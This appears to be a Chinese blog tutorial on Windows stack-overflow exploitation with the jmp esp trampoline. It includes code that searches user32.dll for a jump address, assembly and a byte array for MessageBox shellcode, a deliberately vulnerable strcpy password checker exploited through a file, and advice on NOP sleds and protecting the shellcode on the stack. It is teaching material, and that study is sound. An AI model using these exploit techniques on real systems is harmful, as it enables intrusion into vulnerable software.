专业术语

  • ShellCode:实际是一段代码(也可以是填充数据)

  • exploit:攻击通过ShellCode等方法攻击漏洞

 栈帧移位与jmp esp

  一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置。可以通过OD调试看的到。

  • 注:函数返回时,ESP所指的位置还与函数调用约定、返回指令有关系。例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异。

  由于ESP寄存器在函数返回之后不被栈溢出控制,且始终指向返回地址的下一个位置

  我们可以使用一种“黑科技”如下图定位ShellCode的方法来动态定位。

  • (1)用内存中任意一个jmp esp 指令覆盖函数的返回地址,而不是向上一次的“栈溢出原理与实现”中的例子那样去通过OD手动查出ShellCode起始地址直接覆盖。

  • (2)函数返回后被重定向去执行内存中的这条jum esp指令,而不是直接开始执行ShellCode。

  • (3)由于esp在函数返回时任然指向栈区(函数返回地址之后),jmp esp指令被执行之后,处理器会找到栈区函数的返回地址之后的地方取指令执行。

  • (4)重新布置ShellCode。在淹没函数返回地址之后,继续淹没一片栈空间,将缓冲区前边的一段地方任意数据填充,把ShellCode恰好的摆放在函数的返回地址之后。这样,jmp

    esp 指令执行过后会恰好跳进ShellCode。

  这种定位ShellCode的方法使用进程空间里的一条jmp esp 指令作为“跳板”,不论栈帧怎么移位,都能够精确的跳回栈区,从而适应程序运行中ShellCode内存地址的动态变化。

  1998年,黑客组织“Cult of the Dead Cow”的Dlidog在Bugtrq邮件列表中以MIcrosoft Netmeeting为例首次提出利用jmp esp完成对ShellCode的动态定位,从而解决了Windows下栈

帧移位问题给开发稳定的exploit带来的重重困难。毫不夸张的讲,跳板技术应该算是Windows栈溢出利用技术里的一个里程碑。

 获取“跳板”地址

 1 #include<iostream>
2 #include <WINDOWS.H>
3 using namespace std;
4
5 int main()
6 {
7 BYTE* ptr = NULL;
8 int position = 0;
9 int address = 0;
10 BOOL bDone = FALSE;
11 HINSTANCE handle = LoadLibrary("user32.dll");
12
13 if(handle==NULL)
14 {
15 printf("Dll Load Failed!");
16 exit(0);
17 }
18
19 ptr = (BYTE*)handle;
20
21 for (position=0;!bDone;position++)
22 {
23 try
24 {
25 if(ptr[position]==0xFF&&ptr[position+1]==0xE4)
26 {
27 //OxFFE4 是 jmp esp 的汇编指令
28 address = (int)ptr +position;
29 printf("the jmp address if 0x%x\n",address);
30 break;
31 }
32
33 }
34 catch (...)
35 {
36 address = (int)ptr +position;
37 printf("End of 0x%x\n",address);
38 bDone = TRUE;
39 }
40 }
41
42 return 0;
43 }

  Jmp esp 对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存指针值。

  这是通过我们代码找到的跳板的位置如下:

  

 使用“跳板”定位的exploit

  我们使用上面的出的“跳板地址”0x777f305b,作为我们执行jmp esp 的指令,通过获得user32和kernel32基地址,计算出MessageBoxA和ExitProcess的函数地址,我们开始构建我们的ShellCode。

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
int main()
{
HINSTANCE hLibrary = LoadLibrary("user32.dll");
//768c0000 kernel32.dll /* 测试 ExitProcess(0) 函数是否可用 其地址 0x768c0000 kernel32.dll
_asm
{
xor ebx,ebx
push ebx
mov eax,0x768E9850
call eax
}
*/
_asm
{
xor ebx,ebx
push ebx
push 0x74736577 //字符串
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x777D74C0 //MessageBoxA
call eax
push ebx
mov eax,0x768E9850 //ExitProcess
call eax
}
return 0;
}

  为了提取汇编代码的对应的机器码,我们将上述代码用VC编译通过之后,通过OD加载调试,获取该段汇编的机器码,机器码如下:

  通过二进制编辑器,将代码写入文件

  

  我们将读取文件,通过栈溢出,使得ShellCode放到合适的位置

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
#define PASS_WORD "1234567"
int verify_password(char* password)
{
int authentitated;
char szBuffer[44];
authentitated = strcmp(password,PASS_WORD);
strcpy(szBuffer,password);
return authentitated;
}
int main()
{
int valid_flag = 0;
char password[1024] = {0};
FILE* fp ;
fp=fopen("password.txt","rw+"); HMODULE h = LoadLibrary("user32.dll"); printf("%x\r\n",h); //0x77760000
//0x000774C0
//0x777D74C0 //MessageBox地址
//0x0018FA88 //buffer 中的地址 if(fp==NULL)
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\r\n");
}
else
{
printf("Congratulation! you have passed the verification!\r\n");
}
fclose(fp);
return 0;
}

  编译运行,发现程序运行正常,且正常退出,我们成功啦!运行结果就不截图了。

 缓冲区组织

  如果使用jmp esp 作为定位ShellCode的跳板,那么在函数返回后要根据缓冲区的大小、所需ShellCode的长度等实际情况灵活的布置缓冲区。送入缓冲区的数据可以分为以下几种:

  • (1)填充物:可以是任何值,但是一般用NOP指令对应的0x90来填充缓冲区,并把ShellCode布置于其后,这样即使不能准确的跳到ShellCode的开始,只要能跳进填充区域,
       处理器最终也会执行到ShellCode。

  • (2)淹没返回地址的数据:可以是跳转指令的地址、ShellCode的起始地址,甚至是一个近似ShellCode地址的地址。

  • (3)ShellCode:可执行的机器代码。

  我们上面这么做难道就没有问题吗?如果我们的ShellCode超过函数返回地址以后将是前一个栈的栈帧,我们平时开发一个有用的ShellCode往往需要几百个字节,这样大范围的破坏

栈帧数据可能会引发一些其他的问题。例如,若想在执行完ShellCode通过修复寄存器的值,让函数正常返回继续执行原程序,就不能随意破坏栈帧数据。

 抬高栈顶保护ShellCode

  将ShellCode布置在缓冲区中虽然有不少的好处,但是也会产生问题。函数返回时,当前栈帧弹出,这时候缓冲区位于栈顶ESP之上的内存区域。在弹出栈帧时只是改变了ESP寄存器

中的值,逻辑上ESP以上的内存空间的数据已经作废,物理上这些数据并没有被销毁。如果ShellCode中没有压栈指令向栈中  写入数据就没有太大的影响;但是如果使用push指令在栈

中暂存数据,压栈数据就有可能破坏到ShellCode本身。

  当缓冲区相对于ShellCode较大时,把ShellCode布置在缓冲区的“前端”(内存低地址方向),这是ShellCode离栈顶较远,几次压栈只可能破坏到一些Nop值;但是,如果缓冲区已经

被我们的ShellCode占满,则要执行的ShellCode就离栈顶比较近,这样的情况就很危险了。如果存在push压栈操作,导致ESP 向低地址方向移动,我们构建的ShellCode就会遭到破坏。

  所以,为了使得ShellCode具有较强的通用性,我们通常会在ShellCode一开始的范围就抬高栈顶,把ShellCode藏在栈内,从而达到保护ShellCode的作用。

  过程如下图:

 使用其他跳转指令

  使用jmp esp做“跳板”的方法是最简单,也是最常用的定位ShellCode的方法。在实际的漏洞利用过程中,应当注意观察漏洞函数返回时所有寄存器的值。除了ESP之外,EAX、EBX、ESI等

寄存器也会指向栈顶附近,故在选择跳转指令时也可以灵活一些,除了jmp esp之外,mov eax、esp和jmp eax等序列亦可以完成进入栈的功能。

  常用的跳转指令与机器码之间的对应关系:

  可以使用我们上面的程序,来获得这其中任意一个跳转指令在加载模块中的地址。

 ShellCode的加载与调试

  ShellCode最常见的形式就是用转移字符把机器码存在一个数组中,如我们之前弹出消息框并能够退出程序的ShellCode就可以存成以下的形式。

#include<iostream>
using namespace std;
int main()
{
//777D74C0 768E9850
char Shell_Code[]=
"\x66\x81\xEC\x40\x04"
"\x33\xDB"
"\x53"
"\x68\x77\x65\x73\x74"
"\x68\x66\x61\x69\x6C"
"\x8B\xc4"
"\x53"
"\x50"
"\x50"
"\x53"
"\xB8\xC0\x74\x7D\x77"
"\xFF\xD0"
"\x53"
"\xB8\x50\x98\x8E\x76"
"\xFF\xD0";
_asm
{
lea eax,Shell_Code
push eax
ret
}
return 0;
}

  ret指令会将push进去的ShellCode在栈中的位置弹给EIP,让处理器去跳过去执行ShellCode,我们可以用这个程序运行搜索到的ShellCode,并调试它。

若发现不能满足需求,可以在原先的基础上修改,增加功能。

开发shellcode的艺术的更多相关文章

  1. 恶意软件开发——shellcode执行的几种常见方式

    一.什么是shellcode? shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为它通常启动一个命令shell,攻击者可以从 ...

  2. OD: Writing Small Shellcode

    第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...

  3. 系列文章|OKR与敏捷(二):实现全栈敏捷

    OKR与敏捷开发的原理有着相似之处,但已经使用敏捷的团队再用OKR感觉会显得多余.这种误解的根源就在于对这两种模式不够了解,运用得当的情况下,OKR和敏捷可以形成强强联合的效果,他们可以创造出以价值为 ...

  4. 一个农民工混迹于 IT 行业多年后的泣血总结

    一看题目,你心里一定闪出一个想法,这又是一篇软文吧,是不是,不想辩别了,自己判断吧哈哈.这是根据本人真实经历所写的一篇总结.假如你满足你的现状,这就是一篇软文,请立刻关闭此文章,继续你现在的生活.   ...

  5. Linux 之父自传《just for fun》读书笔记

    一次偶然的机会,看到了阮一峰老师关于这本书的介绍,当时我就觉得这本书相当有趣. 在没有读这本书之前,我觉得 linus 作为发明 Linux 系统的人,应该是一个比较严肃的人,就像我的老师一样.但事实 ...

  6. WEB学习笔记1-综述

    WEB前端基本技术:HTML.CSS.JavaScript 概念: 从职责上讲,Web前端开发要涉及网站开发的方方面面,从前端UI到和后端的数据交互都属于前端开发的范畴.Web前端开发是兼具艺术气息和 ...

  7. 程序员需要经纪人吗?10x 最好的程序员其生产力相当于同行的 10 倍~

    原文地址 10x 起源于技术界一个流行的说法,即最好的程序员是超级明星,其生产力相当于同行的 10 倍: Google 园区以好玩的设施闻名:小憩舱.球坑.按摩.干洗.随便吃到饱的自助餐.(为了拍人才 ...

  8. C基础 时间业务实战代码

    引言 业务代码中遇到这样需求, 1. 二者是同一天吗, 2. 时间戳和时间串来回转, 3. 其它扩展需求 等. C写代码同样需要处理这方面时间问题. 本文就是为了解决这个问题. 相比其它时间库, 这里 ...

  9. FS获取KERNEL32基址的三种方法

    FS寄存器指向当前活动线程的TEB结构(线程结构) 偏移  说明 000  指向SEH链指针 004  线程堆栈顶部 008  线程堆栈底部 00C  SubSystemTib 010  FiberD ...

随机推荐

  1. mysql事务(二)——控制语句使用

    事务控制 一般来说,mysql默认开启了事务自动提交功能,每条sql执行都会提交事务.可以使用如下语句关闭事务自动提交功能. show session variables like 'autocomm ...

  2. Java SE 基础知识(String,Array)

    String 类: 1. 对于String对象的相等性判断来说,请使用equals()方法,而不是==.String的equals()是判断当前字符串与传进来的字符串的内容是否一致. 2. Strin ...

  3. Shell脚本实现检测某ip网络畅通情况,实战用例

    Shell脚本实现检测某ip网络畅通情况,实战用例 环境准备,linux shell 发送email 邮件:1.安装sendmailyum -y install sendmail安装好sendmail ...

  4. ORA-01507: database not mounted

    今天启动数据库时报错了! SQL> startup mount ORACLE instance started. Total System Global Area  608174080 byte ...

  5. Python入门之Python引用模块和查找模块路径

    #这篇文章主要介绍了Python引用模块和Python查找模块路径的相关资料,需要的朋友可以参考下 模块间相互独立相互引用是任何一种编程语言的基础能力.对于“模块”这个词在各种编程语言中或许是不同的, ...

  6. Linux启动vi编辑器时提示E325: ATTENTION解决方案

    Linux启动vi编辑器时提示E325: ATTENTION解决方案 Vi编辑器是Linux的文本编辑器,在Linux系统的运用非常广泛,不少朋友在打开Vi编辑器的时候提示E325: ATTENTIO ...

  7. Linux解压文件到指定目录

    Linux解压文件到指定目录 tar在Linux上是常用的打包.压缩.加压缩工具,他的参数很多,折里仅仅列举常用的压缩与解压缩参数 参数:-c :create 建立压缩档案的参数:-x : 解压缩压缩 ...

  8. PHP进程及进程间通信

    一.引言 进程是一个具有独立功能的程序关于某个数据集合的一次运行活动.换句话说就是,在系统调度多个cpu的时候,一个程序的基本单元.进程对于大多数的语言都不是一个陌生的概念,作为"世界上最好 ...

  9. 20145206邹京儒 EXP7网络欺诈技术防范

    20145206邹京儒 EXP7网络欺诈技术防范 一.实践过程记录 URL攻击实验前准备 1.在终端中输入命令:netstat -tupln |grep 80,查看80端口是否被占用,如下图所示 2. ...

  10. Python3基础 if嵌套示例

             Python : 3.7.0          OS : Ubuntu 18.04.1 LTS         IDE : PyCharm 2018.2.4       Conda ...